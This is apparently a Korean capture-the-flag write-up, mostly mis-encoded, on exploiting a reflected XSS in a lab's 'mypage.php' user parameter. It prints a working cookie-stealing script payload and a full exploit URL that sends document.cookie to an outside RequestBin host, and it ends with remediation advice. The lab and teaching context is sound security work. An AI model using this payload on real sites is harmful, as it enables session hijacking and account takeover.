[SegFault] (XSS)
XSS 3
๊ด๋ฆฌ์์ Cookie๋ฅผ ํ์ทจํ์ธ์!
๋ฌธ์ ํ์
๋ณธ ๋ฌธ์ ์ ๊ฒฝ์ฐ XSS์ ์ทจ์ฝ์ ์ ์ฐพ๊ณ , ๊ด๋ฆฌ์ Bot์ ํด๋น ๋งํฌ๋ฅผ ์ ๋ ฅํ์ฌ ๊ณต๊ฒฉ์ ์๋ฒ๋ก Cookie ๊ฐ์ ํ์ทจํ์ฌ ๋ฐ์ผ๋ฉด Flag๋ฅผ ํ๋ํ ์ ์๋ ๋ฐฉ์์ผ๋ก ์ด๋ฃจ์ด์ ธ ์๋ค.
ํ์ง๋ง ํ์ฌ ๊ณต๊ฒฉ์ ์๋ฒ๋ฅผ ๊ฐ๊ณ ์์ง ์์ผ๋ฏ๋ก RequestBin์ ์ด์ฉํ๊ธฐ๋ก ํ๋ค.
์ฐ์ ์์ [๊ด๋ฆฌ์ ๋ฐฉ๋ฌธ Bot Link]์ ์ ์ํ๋ฉด ๋ค์๊ณผ ๊ฐ์ URL ์ ๋ ฅ์ฐฝ์ ๋ณผ ์ ์๋ค.
XSS ์ทจ์ฝ์ ์ ๋ฐ๊ฒฌํ๊ณ ํด๋น ๋งํฌ๋ฅผ ์์ URL์ ์ ๋ ฅํ๋ฉด ๊ณต๊ฒฉ์ ์๋ฒ(RequestBin)๋ก ์ฟ ํค ๊ฐ์ด ๋ ์์ค๋ ๋ฐฉ์์ด๋ค.
์ด์ ์๋์ ๋ฌธ์ ๋งํฌ์ ์ ์ํ๋ฉด ๋ค์๊ณผ ๊ฐ์ ์ฐฝ์ด ๋์จ๋ค.
์ฐ์ ํ์๊ฐ์ ํ ๋ก๊ทธ์ธ์ ์๋ํด๋ณธ๋ค.
๋ง์ดํ์ด์ง์ ์ ์ํ๋ฉด ๋ค์๊ณผ ๊ฐ์ ํ์ด์ง๊ฐ ๋์จ๋ค.
ํด๋น ํ์ด์ง์ ์ ๋ ฅ๊ฐ์ ๋ํ์ฌ ๋ณ์กฐ๊ฐ ๊ฐ๋ฅํ์ง ํ์ธํด๋ณธ ๊ฒฐ๊ณผ ์ ์ ๋ช ์ด ๋ณ์กฐํ๋ ๋๋ก ๊ทธ๋๋ก ์ถ๋ ฅ๋๋ ๊ฒ์ ํ์ธํ ์ ์์๋ค.
๊ทธ๋ฌ๋ฏ๋ก ๋ค์๊ณผ ๊ฐ์ด ํน์๊ธฐํธ๋ฅผ ์ถ๊ฐํ์ฌ ์ ๋ ฅ์ด ๊ฐ๋ฅํ ์ง ํ์ธํด๋ณธ๋ค.
XSS Point
gear<' ">
๊ทธ ๊ฒฐ๊ณผ ๋ค์๊ณผ ๊ฐ์ด ์ ๋ ฅ์ด ๊ทธ๋๋ก ๋ฐ์ฌ๋๋ ๊ฒ์ ํ์ธํ ์ ์์๋ค.
ํ์ด ๊ณผ์ (ํด๊ฒฐ ๋ฐฉ์)
์ ์ ๋ช ์ด ์กฐ์ ๊ฐ๋ฅํ ๊ฒ์ ํ์ธํ์๊ณ ์ด์ ๋ฐ๋ผ ๊ทธ๋๋ก ์ ๋ ฅ๊ฐ์ด ๋ ธ์ถ๋๋ ๊ฒ์ ํ์ธํ์์ผ๋ฏ๋ก ํ์ด๋ก๋(Payload)๋ฅผ ์์ฑํ๋ค.
ํ์ด๋ก๋(Payload)
gear"/><script>var cookieData = document.cookie;
var i = new Image();
i.src = "https://๊ณต๊ฒฉ์ ์ฃผ์/cookie="+cookieData;
</script>//
ํด๋น ํ์ด๋ก๋๋ฅผ URL์ ์ ๋ ฅํ๊ธฐ ์ํด์๋ ๋ค์๊ณผ ๊ฐ์ด ์ ๋ ฅํด์ค์ผ ํ๋ค.
gear"/><script>var+cookieData=document.cookie;var+i=new+Image();i.src="https://eneqijtbrtwyr.x.pipedream.net/?cookie="%2BcookieData;</script>//
์์ ๊ฐ์ด ์ ๋ ฅํด์ฃผ๋ ๊ฒฝ์ฐ ์๋์ ๊ฐ์ ์์ฒญ์ด ๊ฐ๊ฒ๋๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
๊ทธ ๊ฒฐ๊ณผ ๋ค์๊ณผ ๊ฐ์ด ์ํ๋ ์คํฌ๋ฆฝํธ๊ฐ ํ์ฑํ ๋์ด ์๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
์คํฌ๋ฆฝํธ ์ ๋ฌ(URL)
ํด๋น ํ๋ผ๋ฏธํฐ๊ฐ ๋ด๊ธด ์์ฒญ์ ๊ฒฝ์ฐ GET Method์ ํด๋นํ๊ธฐ ๋๋ฌธ์ ์ด์ ๋ํ์ฌ ๋ค์๊ณผ ๊ฐ์ด URL์ ์์ฑํ ์ ์๋ค.
http://ctf.segfaulthub.com:4343/xss_3/mypage.php?user=gear"/><script>var+cookieData=document.cookie;var+i=new+Image();i.src="https://eneqijtbrtwyr.x.pipedream.net/?cookie="%2BcookieData;</script>//
์์ URL์ ํด๋ฆญํ๋๋ก ์ ๋ํ์ฌ XSS๊ฐ ๋ฐ์ํ๋๋ก ํ๋ ๊ฒ์ด ๊ฐ๋ฅํ๋ค.
๋ฐ๋ผ์ ํด๋น URL์ ๊ด๋ฆฌ์ Bot์ ๋ณด๋ด์ค๋ค.
ํ์ทจ๋ ์ฟ ํค(Cookie)๊ฐ ๊ณต๊ฒฉ์ ์ฃผ์(RequestBin)์ผ๋ก ๋ฐ์์ ์ง๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
์์ ๊ฐ์ด ๋ง์ดํ์ด์ง์ user ํ๋ผ๋ฏธํฐ๋ฅผ ๋ณ์กฐํ๋ ์ผ๋ จ์ ๊ณผ์ ์ ๋ด์ URL๋ก์ ์ ์ ์ ๋๋ฅผ ํตํ์ฌ ์ํ๋ flag๊ฐ ํ๋๋ ๊ฒ์ ํ์ธํ์๋ค.
์ทจ์ฝ์ ์ ๊ดํ ๊ณ ์ฐฐ
๋ณธ ๋ฌธ์ ์ ๊ฒฝ์ฐ ๋ง์ดํ์ด์ง์ ์กด์ฌํ๋ ์ ์ ๋ช ์ ํด๋นํ๋ ํ๋ผ๋ฏธํฐ์ ๊ฐ์ด ๋ณ์กฐ๊ฐ ๊ฐ๋ฅํ๊ณ , ์ด์ ๋ฐ๋ผ ์ ๋ ฅ๋๋ ๊ฐ์ ์๋ต(Response)์ ๊ทธ๋๋ก ๋ฐ์ฌ๋์ด ๋ ธ์ถ๋๋ ๊ฒ์ ์ด์ฉํ Reflected XSS ์ทจ์ฝ์ ์ด๋ค.
๋ง์ดํ์ด์ง์ ๊ฐ์ด ์ค์์ ๋ณด๊ฐ ๋ด๊ฒจ ์๋ ํ์ด์ง์ ๊ฒฝ์ฐ user์ ํด๋นํ๋ ํ๋ผ๋ฏธํฐ๊ฐ ๋ณ์กฐ๊ฐ ๊ฐ๋ฅํ ๊ฒฝ์ฐ ๋ค๋ฅธ ์ด์ฉ์์ ์ ๋ณด๊ฐ ์ ์ถ๋ ๊ฐ๋ฅ์ฑ์ด ์กด์ฌํ๋ค. ๋ฐ๋ผ์ ๋ณธ์ธ์ ํด๋นํ๋ ์ ์ ๋ช ์ ์ ์ธํ ์ ๋ ฅ ๊ฐ์ ๋ํ์ฌ ์์ฉํ์ง ์๋๋กํ์ฌ, ์ ๋ ฅ๊ฐ์ ๋ณ์กฐ๋ ๊ฐ์ผ๋ก ์ถ๋ ฅํ์ง ์๊ณ ๊ธฐ์กด์ ์ ์ ๋ช ์ผ๋ก ๋๋๋ฆฌ๊ฑฐ๋, ์ ๋ ฅ์ด ๋ถ๊ฐ๋ฅํ Read Only ์์ฑ์ ์ ์ฉํ๋ ๋ฑ์ ์กฐ์น๋ฅผ ์ทจํด์ผ ํ๋ค.
์ง๋ฌธ ํ์, ์์ ๋ฐ ๋ณด์์ ๋ํ ์ง์ ํ์